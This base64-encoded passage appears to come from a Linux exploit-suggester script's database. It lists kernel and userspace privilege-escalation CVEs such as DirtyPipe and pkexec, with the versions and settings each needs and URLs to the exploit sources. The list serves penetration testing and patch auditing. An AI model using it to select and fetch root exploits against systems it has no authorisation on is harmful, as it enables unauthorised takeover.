khFTD02LFJIRUw9N3trZXJuZWw6My4xMC4wLTUxNC4yMS4yfDMuMTAuMC01MTQuMjYuMX0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wOS8yNi9saW51eC1waWUtY3ZlLTIwMTctMTAwMDI1My9jdmUtMjAxNy0xMDAwMjUzLnR4dApzcmMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDkvMjYvbGludXgtcGllLWN2ZS0yMDE3LTEwMDAyNTMvY3ZlLTIwMTctMTAwMDI1My5jCmV4cGxvaXQtZGI6IDQyODg3CmF1dGhvcjogUXVhbHlzCkNvbW1lbnRzOgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE4LTUzMzNdJHt0eHRyc3R9IHJkc19hdG9taWNfZnJlZV9vcCBOVUxMIHBvaW50ZXIgZGVyZWZlcmVuY2UKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8PTQuMTQuMTMsY21kOmdyZXAgLXFpIHJkcyAvcHJvYy9tb2R1bGVzLHg4Nl82NApUYWdzOiB1YnVudHU9MTYuMDR7a2VybmVsOjQuNC4wfDQuOC4wfQpSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vd2Jvd2xpbmcvOWQzMjQ5MmJkOTZkOWU3YzNiZjUyZTIzYTBhYzMwYTQvcmF3Lzk1OTMyNTgxOWM3ODI0OGE2NDM3MTAyYmIyODliYjg1NzhhMTM1Y2QvY3ZlLTIwMTgtNTMzMy1wb2MuYwpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTgtNTMzMy9jdmUtMjAxOC01MzMzLmMKQ29tbWVudHM6IHJkcy5rbyBrZXJuZWwgbW9kdWxlIG5lZWRzIHRvIGJlIGxvYWRlZC4gTW9kaWZpZWQgdmVyc2lvbiBhdCAnZXh0LXVybCcgYWRkcyBzdXBwb3J0IGZvciBhZGRpdGlvbmFsIHRhcmdldHMgYW5kIGJ5cGFzc2luZyBLQVNMUi4KYXV0aG9yOiB3Ym93bGluZyAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IGJjb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xODk1NV0ke3R4dHJzdH0gc3VidWlkX3NoZWxsClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj00LjE1LHZlcjw9NC4xOS4yLENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xLGNtZDpbIC11IC91c3IvYmluL25ld3VpZG1hcCBdLGNtZDpbIC11IC91c3IvYmluL25ld2dpZG1hcCBdClRhZ3M6IHVidW50dT0xOC4wNHtrZXJuZWw6NC4xNS4wLTIwLWdlbmVyaWN9LGZlZG9yYT0yOHtrZXJuZWw6NC4xNi4zLTMwMS5mYzI4fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Byb2plY3QtemVyby9pc3N1ZXMvZGV0YWlsP2lkPTE3MTIKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0ZGItYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy80NTg4Ni56aXAKZXhwbG9pdC1kYjogNDU4ODYKYXV0aG9yOiBKYW5uIEhvcm4KQ29tbWVudHM6IENPTkZJR19VU0VSX05TIG5lZWRzIHRvIGJlIGVuYWJsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xMzI3Ml0ke3R4dHJzdH0gUFRSQUNFX1RSQUNFTUUKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQsdmVyPDUuMS4xNyxzeXNjdGw6a2VybmVsLnlhbWEucHRyYWNlX3Njb3BlPT0wLHg4Nl82NApUYWdzOiB1YnVudHU9MTYuMDR7a2VybmVsOjQuMTUuMC0qfSx1YnVudHU9MTguMDR7a2VybmVsOjQuMTUuMC0qfSxkZWJpYW49OXtrZXJuZWw6NC45LjAtKn0sZGViaWFuPTEwe2tlcm5lbDo0LjE5LjAtKn0sZmVkb3JhPTMwe2tlcm5lbDo1LjAuOS0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Byb2plY3QtemVyby9pc3N1ZXMvZGV0YWlsP2lkPTE5MDMKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0ZGItYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy80NzEzMy56aXAKZXh0LXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jjb2xlcy9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE5LTEzMjcyL3BvYy5jCkNvbW1lbnRzOiBSZXF1aXJlcyBhbiBhY3RpdmUgUG9sS2l0IGFnZW50LgpleHBsb2l0LWRiOiA0NzEzMwpleHBsb2l0LWRiOiA0NzE2MwphdXRob3I6IEphbm4gSG9ybiAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IGJjb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xNTY2Nl0ke3R4dHJzdH0gWEZSTV9VQUYKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMsdmVyPDUuMC4xOSxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MSxDT05GSUdfWEZSTT15ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2R1YXN5bnQuY29tL2Jsb2cvdWJ1bnR1LWNlbnRvcy1yZWRoYXQtcHJpdmVzYwpiaW4tdXJsOiBodHRwczovL2dpdGh1Yi5jb20vZHVhc3ludC94ZnJtX3BvYy9yYXcvbWFzdGVyL2x1Y2t5MApDb21tZW50czogQ09ORklHX1VTRVJfTlMgbmVlZHMgdG8gYmUgZW5hYmxlZDsgQ09ORklHX1hGUk0gbmVlZHMgdG8gYmUgZW5hYmxlZAphdXRob3I6IFZpdGFseSAndm5paycgTmlrb2xlbmtvCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtMjczNjVdJHt0eHRyc3R9IGxpbnV4LWlzY3NpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPD01LjExLjMsQ09ORklHX1NMQUJfRlJFRUxJU1RfSEFSREVORUQhPXkKVGFnczogUkhFTD04ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2Jsb2cuZ3JpbW0tY28uY29tLzIwMjEvMDMvbmV3LW9sZC1idWdzLWluLWxpbnV4LWtlcm5lbC5odG1sCnNyYy11cmw6IGh0dHBzOi8vY29kZWxvYWQuZ2l0aHViLmNvbS9ncmltbS1jby9Ob3RRdWl0ZTBEYXlGcmlkYXkvemlwL3RydW5rCkNvbW1lbnRzOiBDT05GSUdfU0xBQl9GUkVFTElTVF9IQVJERU5FRCBtdXN0IG5vdCBiZSBlbmFibGVkCmF1dGhvcjogR1JJTU0KRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMS0zNDkwXSR7dHh0cnN0fSBlQlBGIEFMVTMyIGJvdW5kcyB0cmFja2luZyBmb3IgYml0d2lzZSBvcHMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTUuNyx2ZXI8NS4xMixDT05GSUdfQlBGX1NZU0NBTEw9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQhPTEKVGFnczogdWJ1bnR1PTIwLjA0e2tlcm5lbDo1LjguMC0oMjV8MjZ8Mjd8Mjh8Mjl8MzB8MzF8MzJ8MzN8MzR8MzV8MzZ8Mzd8Mzh8Mzl8NDB8NDF8NDJ8NDN8NDR8NDV8NDZ8NDd8NDh8NDl8NTB8NTF8NTIpLSp9LHVidW50dT0yMS4wNHtrZXJuZWw6NS4xMS4wLTE2LSp9ClJhbms6IDUKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5ncmFwbHNlY3VyaXR5LmNvbS9wb3N0L2tlcm5lbC1wd25pbmctd2l0aC1lYnBmLWEtbG92ZS1zdG9yeQpzcmMtdXJsOiBodHRwczovL2NvZGVsb2FkLmdpdGh1Yi5jb20vY2hvbXBpZTEzMzcvTGludXhfTFBFX2VCUEZfQ1ZFLTIwMjEtMzQ5MC96aXAvbWFpbgpDb21tZW50czogQ09ORklHX0JQRl9TWVNDQUxMIG5lZWRzIHRvIGJlIHNldCAmJiBrZXJuZWwudW5wcml2aWxlZ2VkX2JwZl9kaXNhYmxlZCAhPSAxCmF1dGhvcjogY2hvbXBpZTEzMzcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMS0yMjU1NV0ke3R4dHJzdH0gTmV0ZmlsdGVyIGhlYXAgb3V0LW9mLWJvdW5kcyB3cml0ZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjE5LHZlcjw9NS4xMi1yYzYKVGFnczogdWJ1bnR1PTIwLjA0e2tlcm5lbDo1LjguMC0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9nb29nbGUuZ2l0aHViLmlvL3NlY3VyaXR5LXJlc2VhcmNoL3BvY3MvbGludXgvY3ZlLTIwMjEtMjI1NTUvd3JpdGV1cC5odG1sCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9nb29nbGUvc2VjdXJpdHktcmVzZWFyY2gvbWFzdGVyL3BvY3MvbGludXgvY3ZlLTIwMjEtMjI1NTUvZXhwbG9pdC5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAyMS0yMjU1NS9leHBsb2l0LmMKQ29tbWVudHM6IGlwX3RhYmxlcyBrZXJuZWwgbW9kdWxlIG11c3QgYmUgbG9hZGVkCmV4cGxvaXQtZGI6IDUwMTM1CmF1dGhvcjogdGhlZmxvdyAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IGJjb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMi0wODQ3XSR7dHh0cnN0fSBEaXJ0eVBpcGUKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTUuOCx2ZXI8PTUuMTYuMTEKVGFnczogdWJ1bnR1PSgyMC4wNHwyMS4wNCksZGViaWFuPTExClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2RpcnR5cGlwZS5jbTRhbGwuY29tLwpzcmMtdXJsOiBodHRwczovL2hheHguaW4vZmlsZXMvZGlydHlwaXBlei5jCmV4cGxvaXQtZGI6IDUwODA4CmF1dGhvcjogYmxhc3R5IChvcmlnaW5hbCBleHBsb2l0IGF1dGhvcjogTWF4IEtlbGxlcm1hbm4pCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjItMjU4Nl0ke3R4dHJzdH0gbmZ0X29iamVjdCBVQUYKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMTYsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKVGFnczogdWJ1bnR1PSgyMC4wNCl7a2VybmVsOjUuMTIuMTN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMjIvMDgvMjkvNQpzcmMtdXJsOiBodHRwczovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMjIvMDgvMjkvNS8xCkNvbW1lbnRzOiBrZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT0xIHJlcXVpcmVkICh0byBvYnRhaW4gQ0FQX05FVF9BRE1JTikKYXV0aG9yOiB2dWxuZXJhYmlsaXR5IGRpc2NvdmVyeTogVGVhbSBPcmNhIG9mIFNlYSBTZWN1cml0eTsgRXhwbG9pdCBhdXRob3I6IEFsZWphbmRybyBHdWVycmVybwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIyLTMyMjUwXSR7dHh0cnN0fSBuZnRfb2JqZWN0IFVBRiAoTkZUX01TR19ORVdTRVQpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPDUuMTguMSxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MQpUYWdzOiB1YnVudHU9KDIyLjA0KXtrZXJuZWw6NS4xNS4wLTI3LWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3Jlc2VhcmNoLm5jY2dyb3VwLmNvbS8yMDIyLzA5LzAxL3NldHRsZXJzLW9mLW5ldGxpbmstZXhwbG9pdGluZy1hLWxpbWl0ZWQtdWFmLWluLW5mX3RhYmxlcy1jdmUtMjAyMi0zMjI1MC8KYW5hbHlzaXMtdXJsOiBodHRwczovL2Jsb2cudGhlb3JpLmlvL3Jlc2VhcmNoL0NWRS0yMDIyLTMyMjUwLWxpbnV4LWtlcm5lbC1scGUtMjAyMi8Kc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3RoZW9yaS1pby9DVkUtMjAyMi0zMjI1MC1leHBsb2l0L21haW4vZXhwLmMKQ29tbWVudHM6IGtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPTEgcmVxdWlyZWQgKHRvIG9idGFpbiBDQVBfTkVUX0FETUlOKQphdXRob3I6IHZ1bG5lcmFiaWxpdHkgZGlzY292ZXJ5OiBFREcgVGVhbSBmcm9tIE5DQyBHcm91cDsgQXV0aG9yIG9mIHRoaXMgZXhwbG9pdDogdGhlb3JpLmlvCkVPRgopCgoKIyMjIyMjIyMjIyMjIFVTRVJTUEFDRSBFWFBMT0lUUyAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKbj0wCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA0LTAxODZdJHt0eHRyc3R9IHNhbWJhClJlcXM6IHBrZz1zYW1iYSx2ZXI8PTIuMi44ClRhZ3M6IApSYW5rOiAxCmV4cGxvaXQtZGI6IDIzNjc0CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTExODVdJHt0eHRyc3R9IHVkZXYKUmVxczogcGtnPXVkZXYsdmVyPDE0MSxjbWQ6W1sgLWYgL2V0Yy91ZGV2L3J1bGVzLmQvOTUtdWRldi1sYXRlLnJ1bGVzIHx8IC1mIC9saWIvdWRldi9ydWxlcy5kLzk1LXVkZXYtbGF0ZS5ydWxlcyBdXQpUYWdzOiB1YnVudHU9OC4xMHw5LjA0ClJhbms6IDEKZXhwbG9pdC1kYjogODU3MgpDb21tZW50czogVmVyc2lvbjwxLjQuMSB2dWxuZXJhYmxlIGJ1dCBkaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkIApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0xMTg1XSR7dHh0cnN0fSB1ZGV2IDIKUmVxczogcGtnPXVkZXYsdmVyPDE0MQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDg0NzgKQ29tbWVudHM6IFNTSCBhY2Nlc3MgdG8gbm9uIHByaXZpbGVnZWQgdXNlciBpcyBuZWVkZWQuIFZlcnNpb248MS40LjEgdnVsbmVyYWJsZSBidXQgZGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0wODMyXSR7dHh0cnN0fSBQQU0gTU9URApSZXFzOiBwa2c9bGlicGFtLW1vZHVsZXMsdmVyPD0xLjEuMQpUYWdzOiB1YnVudHU9OS4xMHwxMC4wNApSYW5rOiAxCmV4cGxvaXQtZGI6IDE0MzM5CkNvbW1lbnRzOiBTU0ggYWNjZXNzIHRvIG5vbiBwcml2aWxlZ2VkIHVzZXIgaXMgbmVlZGVkCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTQxNzBdJHt0eHRyc3R9IFN5c3RlbVRhcApSZXFzOiBwa2c9c3lzdGVtdGFwLHZlcjw9MS4zClRhZ3M6IFJIRUw9NXtzeXN0ZW10YXA6MS4xLTMuZWw1fSxmZWRvcmE9MTN7c3lzdGVtdGFwOjEuMi0xLmZjMTN9ClJhbms6IDEKYXV0aG9yOiBUYXZpcyBPcm1hbmR5CmV4cGxvaXQtZGI6IDE1NjIwCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDExLTE0ODVdJHt0eHRyc3R9IHBrZXhlYwpSZXFzOiBwa2c9cG9sa2l0LHZlcj0wLjk2ClRhZ3M6IFJIRUw9Nix1YnVudHU9MTAuMDR8MTAuMTAKUmFuazogMQpleHBsb2l0LWRiOiAxNzk0MgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMS0yOTIxXSR7dHh0cnN0fSBrdHN1c3MKUmVxczogcGtnPWt0c3Vzcyx2ZXI8PTEuNApUYWdzOiBzcGFya3k9NXw2ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTEvMDgvMTMvMgpzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2xvY2FsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxMS0yOTIxL2t0c3Vzcy1scGUuc2gKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTItMDgwOV0ke3R4dHJzdH0gZGVhdGhfc3RhciAoc3VkbykKUmVxczogcGtnPXN1ZG8sdmVyPj0xLjguMCx2ZXI8PTEuOC4zClRhZ3M6IGZlZG9yYT0xNiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9zZWNsaXN0cy5vcmcvZnVsbGRpc2Nsb3N1cmUvMjAxMi9KYW4vYXR0LTU5MC9hZHZpc29yeV9zdWRvLnR4dApleHBsb2l0LWRiOiAxODQzNgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC0wNDc2XSR7dHh0cnN0fSBjaGtyb290a2l0ClJlcXM6IHBrZz1jaGtyb290a2l0LHZlcjwwLjUwClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3NlY2xpc3RzLm9yZy9vc3Mtc2VjLzIwMTQvcTIvNDMwCmV4cGxvaXQtZGI6IDMzODk5CkNvbW1lbnRzOiBSb290aW5nIGRlcGVuZHMgb24gdGhlIGNyb250YWIgKHVwIHRvIG9uZSBkYXkgb2YgZGVsYXkpCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTUxMTldJHt0eHRyc3R9IF9fZ2NvbnZfdHJhbnNsaXRfZmluZApSZXFzOiBwa2c9Z2xpYmN8bGliYzYseDg2ClRhZ3M6IGRlYmlhbj02ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vZ29vZ2xlcHJvamVjdHplcm8uYmxvZ3Nwb3QuY29tLzIwMTQvMDgvdGhlLXBvaXNvbmVkLW51bC1ieXRlLTIwMTQtZWRpdGlvbi5odG1sCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzM0NDIxLnRhci5negpleHBsb2l0LWRiOiAzNDQyMQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0xODYyXSR7dHh0cnN0fSBuZXdwaWQgKGFicnQpClJlcXM6IHBrZz1hYnJ0LGNtZDpncmVwIC1xaSBhYnJ0IC9wcm9jL3N5cy9rZXJuZWwvY29yZV9wYXR0ZXJuClRhZ3M6IGZlZG9yYT0yMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL29wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8wNC8xNC80CnNyYy11cmw6IGh0dHBzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vdGF2aXNvLzBmMDJjMjU1YzEzYzVjMTEzNDA2L3Jhdy9lYWZhYzc4ZGNlNTEzMjliMDNiZWE3MTY3ZjEyNzE3MThiZWU0ZGNjL25ld3BpZC5jCmV4cGxvaXQtZGI6IDM2NzQ2CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTMzMTVdJHt0eHRyc3R9IHJhY2VhYnJ0ClJlcXM6IHBrZz1hYnJ0LGNtZDpncmVwIC1xaSBhYnJ0IC9wcm9jL3N5cy9rZXJuZWwvY29yZV9wYXR0ZXJuClRhZ3M6IGZlZG9yYT0xOXthYnJ0OjIuMS41LTEuZmMxOX0sZmVkb3JhPTIwe2FicnQ6Mi4yLjItMi5mYzIwfSxmZWRvcmE9MjF7YWJydDoyLjMuMC0zLmZjMjF9LFJIRUw9N3thYnJ0OjIuMS4xMS0xMi5lbDd9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vc2VjbGlzdHMub3JnL29zcy1zZWMvMjAxNS9xMi8xMzAKc3JjLXVybDogaHR0cHM6Ly9naXN0LmdpdGh1YnVzZXJjb250ZW50LmNvbS90YXZpc28vZmUzNTkwMDY4MzZkNmNkMTA5MWUvcmF3LzMyZmU4NDgxYzQzNGY4Y2FkNWJjZjg1Mjk3ODkyMzE2MjdlNTA3NGMvcmFjZWFicnQuYwpleHBsb2l0LWRiOiAzNjc0NwphdXRob3I6IFRhdmlzIE9ybWFuZHkKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMTMxOF0ke3R4dHJzdH0gbmV3cGlkIChhcHBvcnQpClJlcXM6IHBrZz1hcHBvcnQsdmVyPj0yLjEzLHZlcjw9Mi4xNyxjbWQ6Z3JlcCAtcWkgYXBwb3J0IC9wcm9jL3N5cy9rZXJuZWwvY29yZV9wYXR0ZXJuClRhZ3M6IHVidW50dT0xNC4wNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL29wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8wNC8xNC80CnNyYy11cmw6IGh0dHBzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vdGF2aXNvLzBmMDJjMjU1YzEzYzVjMTEzNDA2L3Jhdy9lYWZhYzc4ZGNlNTEzMjliMDNiZWE3MTY3ZjEyNzE3MThiZWU0ZGNjL25ld3BpZC5jCmV4cGxvaXQtZGI6IDM2NzQ2CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTEzMThdJHt0eHRyc3R9IG5ld3BpZCAoYXBwb3J0KSAyClJlcXM6IHBrZz1hcHBvcnQsdmVyPj0yLjEzLHZlcjw9Mi4xNyxjbWQ6Z3JlcCAtcWkgYXBwb3J0IC9wcm9jL3N5cy9rZXJuZWwvY29yZV9wYXR0ZXJuClRhZ3M6IHVidW50dT0xNC4wNC4yClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vb3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE1LzA0LzE0LzQKZXhwbG9pdC1kYjogMzY3ODIKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMzIwMl0ke3R4dHJzdH0gZnVzZSAoZnVzZXJtb3VudCkKUmVxczogcGtnPWZ1c2UsdmVyPDIuOS4zClRhZ3M6IGRlYmlhbj03LjB8OC4wLHVidW50dT0qClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vc2VjbGlzdHMub3JnL29zcy1zZWMvMjAxNS9xMi81MjAKZXhwbG9pdC1kYjogMzcwODkKQ29tbWVudHM6IE5lZWRzIGNyb24gb3Igc3lzdGVtIGFkbWluIGludGVyYWN0aW9uCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTE4MTVdJHt0eHRyc3R9IHNldHJvdWJsZXNob290ClJlcXM6IHBrZz1zZXRyb3VibGVzaG9vdCx2ZXI8My4yLjIyClRhZ3M6IGZlZG9yYT0yMQpSYW5rOiAxCmV4cGxvaXQtZGI6IDM2NTY0CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTMyNDZdJHt0eHRyc3R9IHVzZXJoZWxwZXIKUmVxczogcGtnPWxpYnVzZXIsdmVyPD0wLjYwClRhZ3M6IFJIRUw9NntsaWJ1c2VyOjAuNTYuMTMtKDR8NSkuZWw2fSxSSEVMPTZ7bGlidXNlcjowLjYwLTUuZWw3fSxmZWRvcmE9MTN8MTl8MjB8MjF8MjIKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNS8wNy8yMy9jdmUtMjAxNS0zMjQ1LWN2ZS0yMDE1LTMyNDYvY3ZlLTIwMTUtMzI0NS1jdmUtMjAxNS0zMjQ2LnR4dCAKZXhwbG9pdC1kYjogMzc3MDYKQ29tbWVudHM6IFJIRUwgNSBpcyBhbHNvIHZ1bG5lcmFibGUsIGJ1dCBpbnN0YWxsZWQgdmVyc2lvbiBvZiBnbGliYyAoMi41KSBsYWNrcyBmdW5jdGlvbnMgbmVlZGVkIGJ5IHJvb3RoZWxwZXIuYwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS01Mjg3XSR7dHh0cnN0fSBhYnJ0L3Nvc3JlcG9ydC1yaGVsNwpSZXFzOiBwa2c9YWJydCxjbWQ6Z3JlcCAtcWkgYWJydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdz